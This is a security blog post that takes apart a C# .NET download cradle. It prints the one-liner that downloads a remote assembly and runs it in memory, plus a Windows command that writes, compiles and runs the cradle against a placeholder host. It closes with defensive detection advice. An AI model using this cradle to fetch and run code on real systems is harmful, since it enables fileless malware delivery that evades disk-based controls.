Friday, July 6, 2018

Dissecting the .NET Download Cradle

As Powershell is being more heavily monitored, the trend from an offensive perspective has been moving to the adoption of C#. Recently, there was a tweet from @cobbr_io, where he shared a .NET assembly (C# executable or DLL) download cradle that he wrote in C#. This download cradle has the capability to load a remote .NET assembly into memory and run it without dropping it to disk. In this blog post, you will see the internals of this download cradle, practical usage of it from an offensive perspective, and some defensive considerations for its usage.

Below is the original download cradle from @cobbr_io.

Notable .NET Methods

When looking at the download cradle, there are a few key .NET methods that are used, which I want to highlight. 

Assembly.Load Method

The first method is the "Load" method in the "Assembly" .NET object. This method will load a .NET assembly into memory, which can then be invoked. In the case of the download cradle, we are passing a byte array to the "Assembly.Load" method. However, there are other argument combinations that you can pass instead of just a byte array.

System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null);

WebClient.DownloadData Method

The second key method in use with the download cradle is the "DownloadData" method in the "WebClient" .NET object. This method allows you to give a URL string as an argument, which will return the downloaded data as a byte array. This byte array is what is passed to the "Assembly.Load" method highlighted previously.

System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null);

MethodBase.Invoke Method

The last method that is vital in the download cradle is the "Invoke" method in the "MethodBase" .NET object. This is what makes it possible to actually invoke the .NET assembly that is loaded into memory.

System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null);

Compiling .NET Assembly Server Side

You can compile your .NET assembly on the server side with something like the Mono C# Compiler. On Debian Linux, you can install it by simply typing "sudo apt install mono-mcs". After installing the appropriate C# compiler on Linux, you can run the below command to compile your .NET assembly.

mcs source.cs -out:outName

Compiling .NET Assembly Server-Side

Practical Usage of Download Cradle

In order to get the download cradle to function properly, I had to change the second argument in the "Invoke" method from "null" to "new object [1]" as you will see below. The example one-liner shown below takes the slightly modified download cradle code and writes it to disk, then compiles it with the native C# compiler (csc.exe) installed on Windows, and then runs the download cradle to invoke our .NET assembly being remotely hosted. The remote .NET assembly contains code that executes the "calc.exe" process.

echo public class Program { public static void Main(string[] args) { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, new object [1]); } } > cradle.cs && C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /target:winexe cradle.cs && cradle http://x.x.x.x/DotNetAssembly

Running Download Cradle - Popping Calc

Defensive Considerations

There are a couple of security controls that you can put in place in order to help in defending against this .NET assembly download cradle.

User Agent String Monitoring

With this download cradle there is no user agent string, which can stick out amongst network traffic. Detection rules can be built from a network perspective for the absence of a user agent string as shown below. Keep in mind that the download cradle could be modified to include a legitimate user agent string, in which case this would not apply anymore.
User Agent String - .NET Assembly Download Cradle

Disallow Downloading of Executable File Types

In your web proxy, you can implement rules that disallow the downloading of executable file types. This should prevent the downloading of the remote .NET assembly in this example.